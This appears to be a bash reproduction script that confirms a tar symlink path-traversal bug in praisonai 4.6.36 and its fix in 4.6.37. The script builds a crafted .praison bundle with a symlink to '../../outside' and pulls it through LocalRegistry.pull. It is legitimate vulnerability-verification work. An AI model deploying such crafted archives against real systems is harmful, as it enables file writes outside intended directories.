#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO"

cd "$ROOT"

# Ensure python3 is available
if ! command -v python3 &>/dev/null; then
    echo "ERROR: python3 not found" >&2
    exit 1
fi

VENV_VULN="$REPRO/.venv_vuln"
VENV_FIX="$REPRO/.venv_fix"

# Install vulnerable version
if [[ ! -d "$VENV_VULN" ]]; then
    echo "[*] Creating virtualenv and installing praisonai==4.6.36 (vulnerable)..."
    python3 -m venv "$VENV_VULN"
    "$VENV_VULN/bin/pip" install --quiet praisonai==4.6.36
fi

# Install fixed version
if [[ ! -d "$VENV_FIX" ]]; then
    echo "[*] Creating virtualenv and installing praisonai==4.6.37 (fixed)..."
    python3 -m venv "$VENV_FIX"
    "$VENV_FIX/bin/pip" install --quiet praisonai==4.6.37
fi

# Create malicious .praison bundle and registry structure
REGISTRY_DIR="$REPRO/registry"
OUTPUT_DIR="$REPRO/output"

rm -rf "$REGISTRY_DIR" "$OUTPUT_DIR"
mkdir -p "$REGISTRY_DIR/recipes/testrecipe/1.0.0"
mkdir -p "$OUTPUT_DIR"

# Build the malicious bundle (a tar.gz with manifest.json + symlink)
BUNDLE="$REGISTRY_DIR/recipes/testrecipe/1.0.0/testrecipe-1.0.0.praison"
"$VENV_VULN/bin/python" -c "
import tarfile, io, json, hashlib

# manifest.json inside the bundle
manifest = {'name': 'testrecipe', 'version': '1.0.0', 'description': 'test', 'files': []}
manifest_bytes = json.dumps(manifest).encode()

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tf:
    # Add manifest
    info = tarfile.TarInfo('manifest.json')
    info.size = len(manifest_bytes)
    tf.addfile(info, io.BytesIO(manifest_bytes))
    
    # Add malicious symlink pointing outside
    sym = tarfile.TarInfo('escape')
    sym.type = tarfile.SYMTYPE
    sym.linkname = '../../outside'
    tf.addfile(sym)

with open('$BUNDLE', 'wb') as f:
    f.write(buf.getvalue())
"

# Calculate checksum and create index
CHECKSUM=$(python3 -c "
import hashlib
with open('$BUNDLE', 'rb') as f:
    print(hashlib.sha256(f.read()).hexdigest())
")

python3 -c "
import json
index = {
    'recipes': {
        'testrecipe': {
            'versions': {
                '1.0.0': {
                    'checksum': '$CHECKSUM',
                    'published_at': '2024-01-01T00:00:00'
                }
            },
            'latest': '1.0.0'
        }
    },
    'updated': '2024-01-01T00:00:00'
}
with open('$REGISTRY_DIR/index.json', 'w') as f:
    json.dump(index, f, indent=2)
"

# Write the test harness that uses the user-facing Registry.pull API
HARNESS="$REPRO/test_zipslip.py"
cat > "$HARNESS" << 'PYEOF'
import sys
from pathlib import Path
from praisonai.recipe.registry import LocalRegistry, RegistryError

def test_pull(registry_dir, output_dir, log_path):
    reg = LocalRegistry(registry_dir)
    try:
        result = reg.pull("testrecipe", "1.0.0", output_dir=output_dir, verify_checksum=False)
        with open(log_path, "w") as f:
            f.write(f"RESULT: no_exception\n")
            f.write(f"PATH: {result['path']}\n")
    except RegistryError as e:
        with open(log_path, "w") as f:
            f.write(f"RESULT: registry_error\n")
            f.write(f"ERROR: {e}\n")
    except Exception as e:
        with open(log_path, "w") as f:
            f.write(f"RESULT: other_error\n")
            f.write(f"ERROR: {type(e).__name__}: {e}\n")

if __name__ == "__main__":
    registry_dir = Path(sys.argv[1])
    output_dir = Path(sys.argv[2])
    log_path = Path(sys.argv[3])
    output_dir.mkdir(parents=True, exist_ok=True)
    test_pull(registry_dir, output_dir, log_path)
PYEOF

LOG_VULN="$LOGS/vulnerable.log"
LOG_FIX="$LOGS/fixed.log"
RUNTIME_MANIFEST="$REPRO/runtime_manifest.json"

# Run vulnerable version
VULN_OUT="$OUTPUT_DIR/vuln"
rm -rf "$VULN_OUT"
mkdir -p "$VULN_OUT"

set +e
"$VENV_VULN/bin/python" "$HARNESS" "$REGISTRY_DIR" "$VULN_OUT" "$LOG_VULN"
VULN_EXIT=$?
set -e

# Run fixed version
FIX_OUT="$OUTPUT_DIR/fix"
rm -rf "$FIX_OUT"
mkdir -p "$FIX_OUT"

set +e
"$VENV_FIX/bin/python" "$HARNESS" "$REGISTRY_DIR" "$FIX_OUT" "$LOG_FIX"
FIX_EXIT=$?
set -e

# Analyze results
VULN_LINK="$VULN_OUT/testrecipe/escape"
VULN_SYMLINK_EXISTS=false
VULN_POINTS_OUTSIDE=false
if [[ -L "$VULN_LINK" ]]; then
    VULN_SYMLINK_EXISTS=true
    VULN_TARGET=$(readlink "$VULN_LINK")
    VULN_RESOLVED=$(readlink -f "$VULN_LINK")
    if [[ ! "$VULN_RESOLVED" == $(readlink -f "$VULN_OUT")* ]]; then
        VULN_POINTS_OUTSIDE=true
    fi
fi

FIX_LINK="$FIX_OUT/testrecipe/escape"
FIX_SYMLINK_EXISTS=false
if [[ -L "$FIX_LINK" ]]; then
    FIX_SYMLINK_EXISTS=true
fi

echo ""
echo "=== VULNERABLE (4.6.36) ==="
echo "Exit code: $VULN_EXIT"
echo "Log:"
cat "$LOG_VULN"
echo "Symlink exists: $VULN_SYMLINK_EXISTS"
echo "Points outside: $VULN_POINTS_OUTSIDE"
if [[ "$VULN_SYMLINK_EXISTS" == true ]]; then
    echo "Target: $VULN_TARGET"
    echo "Resolved: $VULN_RESOLVED"
fi

echo ""
echo "=== FIXED (4.6.37) ==="
echo "Exit code: $FIX_EXIT"
echo "Log:"
cat "$LOG_FIX"
echo "Symlink exists: $FIX_SYMLINK_EXISTS"

# Write runtime manifest
MANIFEST_WRITER="$REPRO/write_manifest.py"
cat > "$MANIFEST_WRITER" << 'PYEOF'
import json, sys
vuln_exit = int(sys.argv[1])
vuln_link = sys.argv[2] == "true"
vuln_out = sys.argv[3] == "true"
fix_exit = int(sys.argv[4])
fix_link = sys.argv[5] == "true"
vuln_log = open(sys.argv[7]).read().strip()
fix_log = open(sys.argv[8]).read().strip()
out_path = sys.argv[6]
manifest = {
    "vulnerable_version": "4.6.36",
    "fixed_version": "4.6.37",
    "vulnerable": {
        "exit_code": vuln_exit,
        "symlink_extracted": vuln_link,
        "points_outside": vuln_out,
        "log": vuln_log
    },
    "fixed": {
        "exit_code": fix_exit,
        "symlink_extracted": fix_link,
        "log": fix_log
    },
    "verdict": "confirmed" if (vuln_link and not fix_link) else "not_confirmed"
}
with open(out_path, "w") as f:
    json.dump(manifest, f, indent=2)
PYEOF

python3 "$MANIFEST_WRITER" "$VULN_EXIT" "$VULN_SYMLINK_EXISTS" "$VULN_POINTS_OUTSIDE" "$FIX_EXIT" "$FIX_SYMLINK_EXISTS" "$RUNTIME_MANIFEST" "$LOG_VULN" "$LOG_FIX"

echo ""
echo "Runtime manifest written to: $RUNTIME_MANIFEST"
cat "$RUNTIME_MANIFEST"

# Exit 0 if confirmed
if [[ "$VULN_SYMLINK_EXISTS" == true && "$FIX_SYMLINK_EXISTS" == false ]]; then
    echo ""
    echo "[+] Issue CONFIRMED: vulnerable version extracts symlink outside dest_dir via LocalRegistry.pull(), fixed version rejects it."
    exit 0
else
    echo ""
    echo "[-] Issue NOT confirmed as expected."
    exit 1
fi
